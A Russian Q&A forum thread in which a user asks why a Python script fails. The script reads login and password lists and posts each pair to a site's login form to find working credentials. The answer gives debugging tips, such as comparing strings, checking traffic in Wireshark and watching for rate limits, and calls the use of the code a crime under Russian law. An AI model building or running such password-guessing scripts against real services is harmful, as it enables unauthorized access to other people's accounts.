@Aquinary
Хинафаг.

Почему Python так странно себя ведёт?

Доброго времени суток!
Имеется следующий код:
import requests

headers = {"user-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}

def Bot(login, password):
	account = 	{
					'login' : login,
					'password' : password
				}

	#Открываем сессию
	session = requests.Session()

	#Формируем данные
	post =  {
				'id1_hf_0': '',
				'nick': account['login'],
				'password': account['password']
			}

	#Отправляем POST- и GET- запросы
	r = session.post('http://example', params=post, verify=False, headers=headers)
	if "text" in r.text:
		print ('Пароль найден: '+account['login']+':'+account['password'])
	else:
		print ('Пароль не найден.')

password_list = []
login_list = []
with open('pass.txt') as file:
	password_list = [row.strip() for row in file]


with open('login.txt') as file:
	login_list = [row.strip() for row in file]


Выполняем:
Bot('Login','Password')
Получаем, что всё хорошо. Меняем пароль на заведомо ложный - получаем, что всё не так.
Хорошо.
Делаем вот так:
Bot('Login',password_list[0])
Тоже всё ок. Правильный пароль находится на первой строке в файле.
Но если сделать вот так:
Bot(login_list[0],password_list[0])
...то не работает.
Кстати, использование цифр в пароле, даже при прямой передаче параметров в функцию тоже не работает.
Я смотрел вывод r.text, там выдаётся страница, как при неправильном вводе паролей.
И самое забавное, что иногда после некоторых махинцай с циклами даже заранее рабочие примеры ПЕРЕСТАЮТ РАБОТАТЬ ВООБЩЕ. Т.е. я пишу код, проверяю его несколько раз на работоспособность, копирую его в отдельный файлик, пишу дальше, получаю вот такие приколы, играюсь с циклами, получаю вообще не работоспособный код, вставляю старый код из файла и он почему-то оказывается тоже не работоспособным.
Я не понимать, совсем.
  • Вопрос задан
  • 572 просмотра
Решения вопроса 1
@SolidMinus
Какой результат у этой строчки будет?
print(login_list[0] == 'Login')

И посмотри в wireshark дампы запросов к сайту в обеих вариантах, есть ли различие какое-либо. Скорее всего логин неверно с файла считывается.

Может на сайте банально WAF стоит или ограничение на количество попыток авторизации... посмотри коды ответов от сервера

Я так понимаю что эта строчка:
if "text" in r.text:
Была изменена, чтобы тебя на тостере не спалили? Спалили. Или ты серьезно по строке "text" определяешь прошла авторизация или нет?

А вообще юзание этого кода - 272 ук рф, если на то пошло.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы